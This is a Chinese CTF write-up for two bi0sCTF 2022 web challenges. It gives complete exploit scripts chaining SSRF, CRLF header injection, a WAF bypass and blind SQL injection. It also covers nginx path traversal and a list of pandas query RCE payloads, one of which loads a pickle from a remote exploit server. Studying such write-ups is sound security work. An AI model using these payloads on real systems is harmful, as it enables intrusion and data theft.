目录

bi0sCTF 2022 web wp

bi0sCTF 2022 web 题目

这次比赛主要就看了 PyCGIVuln-Drive 2 两个题目,又是学习的一天。

题目的环境我都放到上面的 Github 里面了,感兴趣的师傅们自取。

Vuln-Drive 2

环境速览

首先来看一下 docker-compose.yml 的关键部分:

services:
  frontend:
    build: ./php
    ports:
      - 8000:80
    networks:
      - frontend
  waf:
    build: ./waf
    networks:
      - frontend
      - backend
  app:
    build: ./app
    environment:
      - FLAG=fakeflag
    networks:
      - backend
networks:
  frontend:
  backend:

可以看到有两个不互通的自定义网络(这部分不熟悉的师傅可以去看看 官方文档),暴露端口能给我们访问的只有处在 frontend 网络中的 php 容器,而 flag 在 backend 网络中的 app 容器,所以大致的思路应该就是:

php ssrf

因为题目里面存在一个文件上传,所以很直接的一个想法就是传一个 php 上去,但是 .htaccess 里面限制了 Deny from all ,而上传的时候又是通过文件名后缀重新生成文件名保存在用户文件夹下面,不能覆盖 .htaccess ,所以这个思路算是走不通了。

那就从现有的代码入手吧,既然确定了漏洞类型,所以就直接在源码里面找能够发起网络请求的代码,可以发现只有以下三处:

// utils.php:20
file_get_contents('http://localhost/report.php');

// view.php:82 && view.php:96
file_get_contents($_GET['file']);

由于 utils.php 中的 url 是不可控的,所以我们唯一的选择只有通过 view.php 来实现 ssrf 。我们再来看看 view.php 中相关的代码:

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $ext = explode('.', $file);
    $type = substr(strtolower(end($ext)),0,3);
    $file = $FOLDER."/".$file;
    if($type==="txt"){
        try {
            if(file_exists($file)){
                chdir($FOLDER);
                echo file_get_contents($_GET['file']);
            }else{
                echo '<div class="alert alert-warning" role="alert">File not found!</div>';
            }
        } catch (\Throwable $th) {
           echo '<div class="alert alert-warning" role="alert">Some error Occured</div>';
        }
    }
    else if($type==="png" || $type==="jpg"){
        // almost the same as the txt part above, omitted
    }
    else{
        echo '<div class="alert alert-warning" role="alert">Invaild type</div>';
    }
}

如果要触发 file_get_contents($_GET['file']) 那么必须满足 file_exists($FOLDER."/".$_GET['file']) 以及 in_array($type, array('txt', 'png', 'jpg')) ,而要实现 ssrf 我们又需要 $_GET['file'] 满足 url 的格式。

这里有一个小 trick,在文件相关的函数里面 php 会对路径进行一些标准化处理,比如:

https://pics.kdxcxs.com:4433/images/2023/01/24/20230124161754.png
php 路径标准化示例

那么如果我们有一个以 http: 命名的文件夹,在访问这个文件夹下面的内容的时候不久可以构造一个 file_get_contents('http://xxx') 的 ssrf 了吗😎

让我们再回到题目的代码,可以发现 $FOLDER = $_SESSION['folder'] 是用来进行用户隔离的,对于我们的利用不造成影响,而在 index.php:17 我们可以发现一个在当前用户目录下面创建文件夹的逻辑,这样一来只要我们能够控制上传文件的文件名就可以实现 ssrf 了。

但是我们很快就可以发现在上传文件的时候 index.php 通过 uniqid() 重命名了文件,即便我们有了 http:// 前缀,不能控制后面的 host 仍然不能实现 ssrf。不过好在我们仍然可以控制文件拓展名,在上传的时候并不会检测或者去除;在 view.php:76 中也是非常巧合的通过 substr(strtolower(end($ext)),0,3)'.' 后三个字符的方式来判断文件类型,所以我们可以通过 http://xxx.txt@waf 的形式构造 ssrf 访问 waf。

url 中的 `@`

这里简单记录一下 @ 在 url 里面的作用,在实战中还是挺常见的(比如 RW CTF 5th/ChatUWU)。首先来看一下 url 的结构:

https://pics.kdxcxs.com:4433/images/2023/01/24/URI_syntax_diagram.svg.png
URL

其实原理很简单,就是通过 @ 把前面的东西全部变成 userinfo 而后面则成了 host。

我们来测试一下:

import io
import re
import requests

base_url = 'http://web.chall.bi0s.in:8000'

with requests.Session() as s:
    # login
    s.post(f"{base_url}/login.php", data={'username': '', 'submit': ''})

    # create folder
    s.get(f'{base_url}/index.php?new=http:')

    # upload txt
    s.post(f'{base_url}/index.php',
            data={'path': 'http:', 'submit': ''},
            files={'file': ('.txt@waf', io.BytesIO())})  # an empty file-like object is ok

    # get txt file name
    txt = re.search(r"@waf'>(?P<txt>[^<]*)",
                    s.get(f"{base_url}/view.php?fol=http:").text).group('txt')

    # ssrf
    print(s.get(f"{base_url}/view.php?file=http://{txt}").text)

https://pics.kdxcxs.com:4433/images/2023/01/24/20230124172220.png
ssrf

可以发现在整个项目中只在 app.py 里面出现的全大写 INDEX 出现在了响应里面,可以确定我们已经成功构造了 ssrf 🎉🎉🎉

控制 ssrf header

现在我们已经可以构造 ssrf 通过 waf 来访问 app 容器了,在 app.py 中,我们很快就能看到一些限制:

request.headers.get("X-pro-hacker")=="Pro-hacker" and "gimme" in request.headers.get("flag")

所以我们现在的 ssrf 还不够,需要控制 HTTP header 才能进入拿 flag 的逻辑。waf 中除了对于 header 的检测并没有看到对 header 的修改,所以我们还是只能回到 php 容器想办法。首先想到的肯定是通过 php 的 header() 函数来进行设置,但是通过搜索我们可以发现所有调用 header() 函数的地方都是直接写死的,并不能修改:

https://pics.kdxcxs.com:4433/images/2023/01/24/20230124181343.png
header()

但是我们可以在 utils.php:19 看到一个 ini_set() 函数,它其实也可以设置 header,虽然似乎我们现在只能设置 from 这个 header,看起来并没有什么用,但是结合题目的 php 版本,可以找到一个 CRLF 注入漏洞 ,我们可以将 payload 写在 username 里面对其进行利用。

为了触发 ini_set() 函数,我们需要构造一个 check_name([.\/]) ,调用的地方有三个:

https://pics.kdxcxs.com:4433/images/2023/01/24/20230124182258.png
check_name()

我们任取一个即可,因为最后在 ssrf 的时候使用的 view.php 而它也恰好有调用 ini_set() 的逻辑,所以直接在原来的最后一步上加一个 fol=. 或者 fol=/ 即可:

import io
import re
import requests

base_url = 'http://web.chall.bi0s.in:8000'

def ssrf_with_header(username):
    with requests.Session() as s:
        # login
        s.post(f"{base_url}/login.php", data={'username': username, 'submit': ''})

        # create folder
        s.get(f'{base_url}/index.php?new=http:')

        # upload txt
        s.post(f'{base_url}/index.php',
                data={'path': 'http:', 'submit': ''},
                files={'file': ('.txt@waf', io.BytesIO())})  # an empty file-like object is ok

        # get txt file name
        txt = re.search(r"@waf'>(?P<txt>[^<]*)",
                        s.get(f"{base_url}/view.php?fol=http:").text).group('txt')

        # ssrf
        print('INDEX' in s.get(f"{base_url}/view.php?fol=.&file=http://{txt}").text)

ssrf_with_header('\r\nX-pro-hacker: Pro-hacker')
ssrf_with_header('\r\nX-pro: Pro-hacker')

https://pics.kdxcxs.com:4433/images/2023/01/24/20230124190336.png
ssrf with header

在上面的 poc 里面发起了两个 ssrf,一个设置了X-pro-hacker 而另一个没有设置,可以看到有 X-pro-hacker 头的那个请求没有返回 app.py 中的 'INDEX' ,可以推断出这个 ssrf 的请求被 waf 拦截了。

至此,我们也实现了对于 ssrf 请求头的控制。

waf 绕过

分别查看 app.pymain.go 之后我们可以发现,app.py 中的两个 header 在 waf 都被 ban 了:

https://pics.kdxcxs.com:4433/images/2023/01/24/20230124191243.png
waf banned header

这里所运用的是 go 和 flask 对于 header 处理的差异。对于 header 名称中的下划线 _ ,go 不会进行处理,但是 flask 会将其替换为横杠 -;对于同一个 header 名称多次出现的情况,go 只会读取第一个值,而 flask 则会将所有同名值用 ','.join() 组成一个新的字符串来作为这个 header 的值。

利用以上两个差异,我们可以很容易构造出以下 header 来绕过 waf:

X_pro-hacker: Pro-hacker
flag: bypass-waf
flag: gimme

同样写脚本进行测试:

import io
import re
import requests

base_url = 'http://web.chall.bi0s.in:8000'

with requests.Session() as s:
    # login
    s.post(f"{base_url}/login.php", data={'username': '\r\nX_pro-hacker: Pro-hacker\r\nflag: bypass-waf\r\nflag: gimme', 'submit': ''})

    # create folder
    s.get(f'{base_url}/index.php?new=http:')

    # upload txt
    s.post(f'{base_url}/index.php',
            data={'path': 'http:', 'submit': ''},
            files={'file': ('.txt@waf', io.BytesIO())})  # an empty file-like object is ok

    # get txt file name
    txt = re.search(r"@waf'>(?P<txt>[^<]*)",
                    s.get(f"{base_url}/view.php?fol=http:").text).group('txt')

    # ssrf
    print('INDEX' in s.get(f"{base_url}/view.php?fol=.&file=http://{txt}").text)

https://pics.kdxcxs.com:4433/images/2023/01/24/20230124195435.png
waf bypass

waf bypassed 😝

sql 注入

终于到了最后一步,还是首先来看一下 app.py 的关键代码:

@app.route("/")
def index():
    while not init_db():
        continue
    if request.headers.get("X-pro-hacker")=="Pro-hacker" and "gimme" in request.headers.get("flag"):
        try:
            if request.headers.get("Token"):         
                token = request.headers.get("Token")
                token = token[:16]
                token = token.replace(" ","").replace('"',"")
                if request.form.get("user"):
                    user = request.form.get("user")
                    user = user[:38]
                    add_user(user,token)            
                query = f'SELECT * FROM users WHERE token="{token}"'
                res = db_query(query)
                res = res.fetchone()
                return res[1] if res and len(res[0])>0  else "INDEX\n"
        except Exception as e:
            print(e) 
    return "INDEX\n"

大致就是每次访问都会调用 init_db() 确保数据库一直都是初始状态,然后在限制 tokenuser 长度的前提下先 insert 一个用户,再从 users 表中 select token 字段与请求中的 token 相同的数据返回,如果数据不存在就返回 'INDEX\n' 。而且可以看到 flag 被添加进了数据库中。

那么现在思路就比较清楚了,是一个针对 token 字段的盲注。

exp

import io
import re
import requests

flag = ''
base_url = 'http://web.chall.bi0s.in:8000'
flag_chars = 'abcdef0123456789'
hijack_tpl = '\r\n'.join([
    'anything',                  # could be anything(including '')
    'X_pro-hacker: Pro-hacker',  # bypass waf, flask will replace underscore with dash
    'flag: bypass-waf',          # the waf only takes the first flag in HTTP header
    'flag: gimme',               # but flask puts headers with the same name into a array
    'Host: just-need-this-header',
    'Content-Type:application/x-www-form-urlencoded',
    'Token: {}',
    'Content-Length: {}',        # with Content-Length set to len(payload)
    '',                          # and 2 CRLFs marking the end of header
    '{}',                        # to control the HTTP body
])

for i in range(9):  # from the challenge description we know len(flag) == 9
    for token in flag_chars:
        with requests.Session() as s:
            sqli = f"user=a',substr((select * from flag),{i + 1},1))-- "
            username = hijack_tpl.format(token, len(sqli), sqli)

            # login
            s.post(f"{base_url}/login.php",
                   data={'username': username, 'submit': ''})

            # create folder
            s.get(f'{base_url}/index.php?new=http:')

            # upload txt
            s.post(f'{base_url}/index.php',
                   data={'path': 'http:', 'submit': ''},
                   files={'file': ('.txt@waf', io.BytesIO())})  # an empty file-like object is ok

            # get txt file name
            txt = re.search(r"@waf'>(?P<txt>[^<]*)",
                            s.get(f"{base_url}/view.php?fol=http:").text).group('txt')

            # ssrf -> bypass waf -> blind sqli, fol=. or fol=/
            if 'INDEX' not in s.get(f"{base_url}/view.php?fol=.&file=http://{txt}").text:
                flag += token
                print(f"bi0sctf{{{flag}}}", end='\r')
                break

print()

PyCGI

任意文件读取

这道题的附件很简单,在 nginx.conf 里面可以发现一个任意文件读取:

location /static {
    alias /static/;
}

通过 curl http://instance.chall.bi0s.in:10332/static../etc/passwd --path-as-is 就可以实现任意文件读取。

探索题目环境

由于题目附件给的东西很少,所以需要我们自己利用任意文件读取去取环境里面的东西,在靶机的根目录下有三个文件夹

https://pics.kdxcxs.com:4433/images/2023/01/23/20230123180159.png
PyCGI 根目录

cgi-bin 需要 HTTP 认证暂时先跳过, database 下面是一个 csv,templates 打开有一个 form

https://pics.kdxcxs.com:4433/images/2023/01/23/20230123180437.png
/templates

提交之后会跳转到一个 404 的路径 http://instance.chall.bi0s.in:10332/templates/search_currency.py?currency_name=a,猜测 cgi-bin 下有一个 search_currency.py,于是通过任意文件读取拿到了 /panda/cgi-bin/search_currency.py

#!/usr/bin/python3

from server import Server
import pandas as pd

try:
    df = pd.read_csv("../database/currency-rates.csv")
    server = Server()
    server.set_header("Content-Type", "text/html")
    params = server.get_params()
    assert "currency_name" in params
    currency_code = params["currency_name"]
    results = df.query(f"currency == '{currency_code}'")
    server.add_body(results.to_html())
    server.send_response()
except Exception as e:
    print("Content-Type: text/html")
    print()
    print("Exception")
    print(str(e))

同样的方法可以拿到 server.py

from os import environ

class Server:
    def __init__(self):
        self.response_headers = {}
        self.response_body = ""
        self.post_body = ""
        self.request_method = self.get_var("REQUEST_METHOD")
        self.content_length = 0

    def get_params(self):
        request_uri = self.get_var("REQUEST_URI") if  self.get_var("REQUEST_URI") else ""
        params_dict = {}
        if "?" in request_uri:
            params = request_uri.split("?")[1]
            if "&" in params:
                params = params.split("&")
                for param in params:
                    params_dict[param.split("=")[0]] = param.split("=")[1]
            else:
                params_dict[params.split("=")[0]] = params.split("=")[1]
        return params_dict

    def get_var(self, variable):
        return environ.get(variable)

    def set_header(self, header, value):
        self.response_headers[header] = value

    def add_body(self, value):
        self.response_body += value

    def send_file(self, filename):
        self.response_body += open(filename, "r").read()

    def send_response(self):
        for header in self.response_headers:
            print(f"{header}: {self.response_headers[header]}\n")

        print("\n")
        print(self.response_body)
        print("\n")

代码很简单,而且我们能够控制的地方并不多,大概率是通过 df.query() 实现 rce,但在此之前需要先解决 HTTP 认证的问题。

HTTP 认证

由于 /cgi-bin 是需要通过 HTTP 认证的,所以首先想到通过 static../etc/.htpasswd 拿到 .htpasswd,这里有一个比较坑的地方,虽然密码只有一位,但是不是一个 ASCII 字符,通过一般的字典爆破解不出来。

后来主办方更新了附件,提供了 Dockerfile,发现并没有在构建容器的时候就生成 .htpasswd,于是想到去拿 /docker-entrypoint.sh

https://pics.kdxcxs.com:4433/images/2023/01/23/20230123175244.png
获取 docker-entrypoint.sh

可以发现 admin 的密码是 \xc2\xad,通过 base64.b64encode(b'admin:\xc2\xad') 生成 HTTP 认证头 Authorization: Basic YWRtaW46wq0=,测试通过 HTTP 认证

https://pics.kdxcxs.com:4433/images/2023/01/23/20230123182506.png
HTTP 认证成功

pandas rce

文档 中可以看到这样一句话:

You can refer to variables in the environment by prefixing them with an ‘@’ character like @a + b.

所以我们可以把引号闭合之后通过 @ 来实现 rce,方法就很多了,但是还是有几点要注意一下:

  • 因为是直接通过 nginx 传给 cgi,所以不需要 url 编码
  • 由于 server.py 里面是通过 = 来分割字符的,所以不能在 payload 里面出现 =

这里收集一些 payload:

'+@pd.eval('__import__("os").system("ls /")','python','python',True,@pd.__builtins__)+'

a'+(@server.__class__.__init__.__globals__['__spec__'].loader.__init__.__globals__['sys'].modules['os'].popen('ls /').read())#

'and@'pd'.annotations.__class__.__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls > /tmp/test")') or '

'+(@pd.io.common.os.popen('ls > /tmp/ls').read())+'

'|@pd.read_pickle('http://exp-server/output.exploit')|'

'or[].__class__.__base__.__subclasses__()[145].__init__([].__class__.__base__.__subclasses__()[145]).__class__.__name__<'1'or@server.add_body([].__class__.__base__.__subclasses__()[145]._module.sys.modules["subprocess"].check_output(["ls","-l", "/"]).decode()).__class__.__name__<'

'+@__builtins__.exec('import\x20os;raise\x20Exception(os.listdir(\"/\"))')+'

这些 payload 按照 source 可以分为利用 @ 调用上下文中存在的函数或变量和利用字面量两种,而按照 sink 又可分为直接通过 os.system()os.popen() 等直接利用和通过 pickle 利用两类,限制比较少,利用方式很多非常灵活。大多数利用方式都比较常见,下面对 pandas 的利用做一些记录。

pd.eval

通过 官方文档 我们可以发现它跟 python 的内置 eval 差不多,在接受 expr 参数的同时也支持设置 globalslocals。不同的是,pandas 在性能的考量下还实现了自己的 parser 和 engine,但是我们仍然可以将这两个参数都设置成 'python' 来运行 builtin 的 eval。

pd.io.common.os

其实这个算不上对于 pandas 的利用,只是通过 pandas 造了一个链去获取 os,类似的 gadget 还有很多,比如:'+(@pd.core.config_init.os.popen('calc').read())+'

https://pics.kdxcxs.com:4433/images/2023/01/24/20230124175301.png
pd rce

pd.read_pickle

这个其实是对于 pickle 反序列化漏洞的利用,可以在 pandas 的 源码 中看到,这个函数其实就是对于 pickle.load 的一个封装,可以利用现有的 pickle exp 进行利用